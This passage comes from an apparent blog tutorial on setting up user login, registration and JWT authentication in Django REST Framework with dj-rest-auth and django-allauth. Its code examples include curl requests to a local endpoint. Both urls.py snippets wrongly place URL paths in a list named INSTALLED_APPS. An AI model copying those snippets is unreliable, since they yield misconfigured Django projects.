90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# urls.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;api/authentication/&amp;#39;&lt;/span&gt;, include(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dj_rest_auth.urls&amp;#39;&lt;/span&gt;)),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s access the path to see that the new endpoints that we have&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ password/reset/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_password_reset&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ password/reset/confirm/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_password_reset_confirm&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ login/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_login&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ logout/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_logout&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ user/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_user_details&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ password/change/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_password_change&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you read the list above, you will notice that endpoints were added to reset passwords, login, logout, user details and change password. And if we access those urls in the browser we will already see the DRF interface.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkEndpointLogin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkEndpointLogin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Pantalla de Loggeo en Django REST framework&#34; width=&#34;1337&#34; height=&#34;926&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The login endpoint returns a key to be used as a token.&lt;/p&gt;&#xA;&lt;p&gt;But we are not finished. Up to this point we can manage users but not create them. For that we will use the following library.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;user-registration-with-drf&#34;&gt;User registration with DRF&lt;/h2&gt;&#xA;&lt;p&gt;We will use another library, this time called django-allauth.&lt;/p&gt;&#xA;&lt;h3 id=&#34;installing-django-allauth&#34;&gt;Installing django-allauth&lt;/h3&gt;&#xA;&lt;p&gt;Like the previous library, we are going to install it.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django-allauth~&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.42.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After installation we add our application to the project. django-all-auth requires the &lt;em&gt;django.contrib.sites&lt;/em&gt; application to be in our INSTALLED_APPS in the configuration file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sites&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;allauth&amp;#39;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;allauth.account&amp;#39;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# &amp;#39;allauth.socialaccount&amp;#39; # si queremos implementar autenticación usando redes sociales&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Since we added the &lt;em&gt;django.contrib.sites&lt;/em&gt; package, django will need us to add a SITE_ID variable to the configuration file. We will also add the terminal EMAIL_BACKEND already provided by django, so that each email will be displayed in the terminal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EMAIL_BACKEND &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.core.mail.backends.console.EmailBackend&amp;#39;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SITE_ID &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, as our application has models, it is a good idea to run the migrations again.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If everything went well let&amp;rsquo;s add the new registration url, I have put &lt;em&gt;api/registration/&lt;/em&gt;, but you can set the one you like.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# urls.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;api/registration/&amp;#39;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          include(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dj_rest_auth.registration.urls&amp;#39;&lt;/span&gt;)),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;user-registration&#34;&gt;User registration&lt;/h3&gt;&#xA;&lt;p&gt;Now we will have an extra endpoint that allows user registration.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkEndpointRegistro.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkEndpointRegistro.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django REST Framework registration screen&#34; width=&#34;1341&#34; height=&#34;838&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;User registration screen in the DRF interface&lt;/p&gt;&#xA;&lt;p&gt;If we register through the browser, filling out the form, we will receive a token in response:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkEndpointToken.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkEndpointToken.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;DRF session token obtained after a user&amp;#39;s login&#34; width=&#34;1235&#34; height=&#34;499&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Session token obtained after logging in a user&lt;/p&gt;&#xA;&lt;p&gt;This token is the one that will allow us to authenticate ourselves, let&amp;rsquo;s try to use this token with the curl command to access the user&amp;rsquo;s profile.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Authorization: Token c66ff3d7d3b4c434ce4d9a1ae0d640fc64d0a8bd&amp;#34;&lt;/span&gt; http://127.0.0.1:8000/api/authentication/user/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pk&amp;#34;&lt;/span&gt;:1,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Karenina&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Karenina@karenina.com&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;first_name&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;,&amp;#34;&lt;/span&gt;last_name&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you saw, we can already use the token we have to get a response from the protected views.&lt;/p&gt;&#xA;&lt;h2 id=&#34;authentication-and-login-using-jwt-in-django&#34;&gt;Authentication and login using JWT in Django&lt;/h2&gt;&#xA;&lt;p&gt;dj-rest-auth also supports JWT. To use JWTs we will install the djangorestframework-simplejwt library&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t know what JWT is or you want to go deeper into the subject, I have a post where I explain the details of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/&#34;&gt;django authentication using JWT&lt;/a&gt;&#xA; And as a counterpart, I also have a translation of stop using JWT for sessions, where I explain why it might not be such a good idea to use JWT for sessions.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install djangorestframework-simplejwt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We add the authentication backend in the DRF settings and tell it to use JWT in our &lt;em&gt;settings.py&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REST_FRAMEWORK &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DEFAULT_AUTHENTICATION_CLASSES&amp;#39;&lt;/span&gt;: (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dj_rest_auth.jwt_auth.JWTCookieAuthentication&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REST_USE_JWT &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In this same file we indicate how the refresh and authentication cookies will be called.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;JWT_AUTH_COOKIE &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;jwt-auth-token&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;JWT_AUTH_REFRESH_COOKIE &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;jwt-refresh-token&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After obtaining the refresh and authentication tokens, by logging into our endpoint, we can use them to authenticate with the header &amp;ldquo;Authorization: Bearer &lt;!-- raw HTML omitted --&gt;&amp;rdquo;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkJWT.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkJWT.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;After logging in a user we get the refresh and authentication or access JWT&#34; width=&#34;1203&#34; height=&#34;988&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;After logging in a user we obtain the refresh and authentication or access JWT.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiZXhwIjoxNjI4MjE5NDU1LCJqdGkiOiJhMTI3MGZjMDc5Nzc0MDkzYjM1NThkMjQzYThmYjFiMyIsInVzZXJfaWQiOjN9.vfVSYubOvNTw0iJxnPZ3BTOiFhw17aHX7OWFvscpOQU&amp;#34;&lt;/span&gt; http://127.0.0.1:8000/api/authentication/user/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pk&amp;#34;&lt;/span&gt;:1,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Karenina&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Karenina@karenina.com&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;first_name&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;,&amp;#34;&lt;/span&gt;last_name&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;&lt;span 